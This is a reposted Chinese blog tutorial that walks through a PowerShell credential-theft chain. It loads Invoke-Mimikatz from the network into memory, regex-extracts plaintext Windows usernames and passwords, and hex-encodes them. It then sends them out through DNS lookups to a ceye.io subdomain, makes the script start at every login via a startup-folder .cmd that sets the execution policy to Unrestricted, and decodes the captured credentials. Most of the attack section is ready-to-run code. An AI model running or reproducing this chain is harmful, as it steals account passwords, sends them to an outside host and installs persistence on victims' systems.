zoukankan      html  css  js  c++  java
  • 利用Powershell和ceye.io实现Windows账户密码回传

    利用Powershell和ceye.io实现Windows账户密码回传

    转自:http://www.freebuf.com/articles/system/129068.html

    最近在研究Powershell的使用,之前我一直不习惯Windows的主要原因是他那孱弱的命令行工具,稍微了解了Powershell之后差点跪下了,真的是一款非常了不起的工具。powershell的定义是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。简单的理解就是像linux下的bash。powershell有着诸多的优点,但是仅凭无文件和操作系统自带这两大优点基本上确定了他的地位。mimikatz是一款黑客后渗透(不是提权)神器,其中一个功能是在管理员账户下获取Windows明文密码,现在也有powershell版本了。我想测试的流程就是通过powershell获取Windows信息之后提取关键的用户名和密码,将用户名和密码转码之后访问ceye.io,这样就可以拿到Windows账户信息了.

    0×01 mimikatz获取Windows内容保存到变量

    mimikatz现在已经有powershell版本了,而且是http传输,进行免杀要比exe容易,这里不探讨免杀的内容。

    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');

    $Mimikatzinfo = invoke-mimikatz;

    $Mimikatzinfo

    屏幕快照 2017-03-11 上午8.22.48.png

    0×02 利用powershell正则表达式提取关键内容

    屏幕快照 2017-03-11 上午8.25.43.png

    分析字段,我们想要的是Username和Password之后的内容,powershell继承的是.net的表达式语法,实现上和python多少有点不同,查了半天资料总算实现了

    $Mimikatzinfo = invoke-mimikatz;

    $regex = [regex]".*Username : (.*?) .* .*Password : (.*?) ";

    $word = ($regex.Matches($Mimikatzinfo)| %{$_.value})

    屏幕快照 2017-03-11 上午8.31.38.png

    想要的内容是word的第三个组

    $username=$word[2].split("*")[1].split(":")[1];
    $password=$word[2].split("*")[3].split(":")[1];
    $full=$username.trim()+"_"+$password.trim();

    屏幕快照 2017-03-11 上午8.34.13.png

    0×03 转码访问

    域名中不允许包含特殊字符,也出于绕过的想法,将用户名和密码进行16进制转换然后再访问(ceye.io要换成自己的)

    $ab = [System.Text.Encoding]::UTF8.GetBytes($full);

    $luffy=[System.BitConverter]::ToString($ab);$onepiece=$luffy.replace("-","");

    $wc=new-object System.Net.webclient;$result=$wc.downloadstring("http://"+$onepiece+".sss.ceye.io");

    Jietu20170311-084132.jpg

    0×04 实现开机自启动

    新建1.cmd

    PowerShell -Command "Set-ExecutionPolicy Unrestricted" >> "%TEMP%StartupLog.txt" 2>&1 
    PowerShell C:UsersAdministratorDesktopscript.ps1 >> "%TEMP%StartupLog.txt" 2>&1

    新建script.ps1,一句话实现上述功能

    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');$Mimikatzinfo = invoke-mimikatz;$regex = [regex]".*Username : (.*?)
    .*
    .*Password : (.*?)
    ";$word = ($regex.Matches($Mimikatzinfo)| %{$_.value});$username=$word[2].split("*")[1].split(":")[1];$password=$word[2].split("*")[3].split(":")[1];$full=$username.trim()+"_"+$password.trim();$ab = [System.Text.Encoding]::UTF8.GetBytes($full);$luffy=[System.BitConverter]::ToString($ab);$onepiece=$luffy.replace("-","");$wc=new-object System.Net.webclient;$result=$wc.downloadstring("http://"+$onepiece+".rzzz.ceye.io");

    把1.cmd放到启动文件夹里

    屏幕快照 2017-03-11 上午8.47.56.png

    Jietu20170311-085918.jpg

    0×05 解码

    $pass=""

    $t="41646d696e6973747261746f725f6c7566667931323321"

    $t -split '(.{2})' |%{ if ($_ -ne "") { $pass+=[CHAR]([CONVERT]::toint16("$_",16))  }}

    write $pass

    屏幕快照 2017-03-11 上午9.06.23.png

    后记

    powershell的强大不仅如此,对于黑客来说是一个超级宝库,现在针对powershell成型的黑客工具也越来越多,像是metasploit,powersploit,set。powershell的可编程和windows的紧密结合也可以实现各种各样的猥琐技巧,比如上面的利用启动文件夹实现开机自启动是很low的,powershell和wmi配合可以实现无文件启动。”路漫漫其修远兮 吾将上下而求索”。

  • 相关阅读:
    Combine 框架,从0到1 —— 4.在 Combine 中使用计时器
    Combine 框架,从0到1 —— 4.在 Combine 中使用通知
    Combine 框架,从0到1 —— 3.使用 Subscriber 控制发布速度
    Combine 框架,从0到1 —— 2.通过 ConnectablePublisher 控制何时发布
    使用 Swift Package Manager 集成依赖库
    iOS 高效灵活地配置可复用视图组件的主题
    构建个人博客网站(基于Python Flask)
    Swift dynamic关键字
    Swift @objcMembers
    仅用递归函数操作逆序一个栈(Swift 4)
  • 原文地址:https://www.cnblogs.com/bonelee/p/8268537.html
Copyright © 2011-2022 走看看